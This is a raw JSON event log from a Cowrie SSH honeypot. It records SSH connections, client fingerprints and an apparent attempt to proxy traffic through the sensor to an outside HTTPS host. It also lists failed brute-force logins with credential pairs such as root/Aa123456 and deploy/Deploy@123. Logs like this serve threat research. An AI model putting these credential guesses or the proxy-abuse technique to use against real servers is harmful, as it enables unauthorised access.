{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.158761Z","src_ip":"45.153.34.195","session":"0ccf70d6e1d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.162271Z","src_ip":"45.153.34.195","session":"0ccf70d6e1d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.220257Z","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.280858Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02\\xd9\\x0c\\xa0/\\x92\\x86\\xb0\\xf2\\x9f\\x18f\\xdc\\xf9Rz\\x01\\xa3\\x1e3\\x18:\\xcb\\xbe\\xd3L\\x1c\\xe40\\xb1G\\xda s&0m\\xd8J\\x0b\\xcb\\x96Q.\\x8a\\x87\\xa1oo\\x16\\xab\\x16\\xc7\\xe0\\xfb\\xed*1e\\xd1\\xc8\\x95\\xdb\\xb2\\t\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05?\\xc5Y\\x18*\\xda\\x86<\\\\Z\\x9a\\x97L\\x99n\\x99\\xd9srO\\xcd\\xbe\\xea:\\x9aG4\\xa27\\t\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02\\xd9\\x0c\\xa0/\\x92\\x86\\xb0\\xf2\\x9f\\x18f\\xdc\\xf9Rz\\x01\\xa3\\x1e3\\x18:\\xcb\\xbe\\xd3L\\x1c\\xe40\\xb1G\\xda s&0m\\xd8J\\x0b\\xcb\\x96Q.\\x8a\\x87\\xa1oo\\x16\\xab\\x16\\xc7\\xe0\\xfb\\xed*1e\\xd1\\xc8\\x95\\xdb\\xb2\\t\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05?\\xc5Y\\x18*\\xda\\x86<\\\\Z\\x9a\\x97L\\x99n\\x99\\xd9srO\\xcd\\xbe\\xea:\\x9aG4\\xa27\\t\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:45.284081Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:46.078974Z","src_ip":"109.237.96.109","session":"8fbecf012a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:46.836562Z","src_ip":"91.92.40.36","session":"61e6da3a2c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54960,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2b5c9fa499","protocol":"ssh","message":"New connection: 45.153.34.195:54960 (10.17.0.5:22) [session: 6a2b5c9fa499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:47.215767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:47.227562Z","src_ip":"45.153.34.195","session":"6a2b5c9fa499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:47.273407Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:47.305603Z","src_ip":"45.153.34.195","session":"6a2b5c9fa499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Deploy@123","message":"login attempt [deploy/Deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:47.628592Z","src_ip":"45.153.34.195","session":"6a2b5c9fa499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:48.712633Z","src_ip":"45.153.34.195","session":"6a2b5c9fa499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54972,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb508a061c9","protocol":"ssh","message":"New connection: 45.153.34.195:54972 (10.17.0.5:22) [session: bdb508a061c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:50.005732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:50.025081Z","src_ip":"45.153.34.195","session":"bdb508a061c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:50.109285Z","src_ip":"45.153.34.195","session":"bdb508a061c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:50.420641Z","src_ip":"45.153.34.195","session":"bdb508a061c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:51.503879Z","src_ip":"45.153.34.195","session":"bdb508a061c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32592,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40a447d0807","protocol":"ssh","message":"New connection: 91.92.40.36:32592 (10.17.0.5:22) [session: e40a447d0807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:51.607668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:52.150137Z","src_ip":"91.92.40.36","session":"e40a447d0807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13798,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf500d2275d","protocol":"ssh","message":"New connection: 45.153.34.195:13798 (10.17.0.5:22) [session: ddf500d2275d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:52.948798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:52.956587Z","src_ip":"45.153.34.195","session":"ddf500d2275d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:53.046004Z","src_ip":"45.153.34.195","session":"ddf500d2275d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:53.124865Z","src_ip":"91.92.40.36","session":"e40a447d0807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"headscale","password":"123456","message":"login attempt [headscale/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:53.446158Z","src_ip":"45.153.34.195","session":"ddf500d2275d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:54.530213Z","src_ip":"45.153.34.195","session":"ddf500d2275d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13808,"dst_ip":"10.17.0.5","dst_port":22,"session":"782db8ed5a69","protocol":"ssh","message":"New connection: 45.153.34.195:13808 (10.17.0.5:22) [session: 782db8ed5a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:55.865485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:55.869601Z","src_ip":"45.153.34.195","session":"782db8ed5a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:55.951243Z","src_ip":"45.153.34.195","session":"782db8ed5a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"1234","message":"login attempt [bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:56.199953Z","src_ip":"45.153.34.195","session":"782db8ed5a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49276,"dst_ip":"10.17.0.5","dst_port":22,"session":"f108ea8c6714","protocol":"ssh","message":"New connection: 91.92.40.36:49276 (10.17.0.5:22) [session: f108ea8c6714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:57.065633Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:57.316403Z","src_ip":"45.153.34.195","session":"782db8ed5a69","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:57.893124Z","src_ip":"91.92.40.36","session":"f108ea8c6714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ec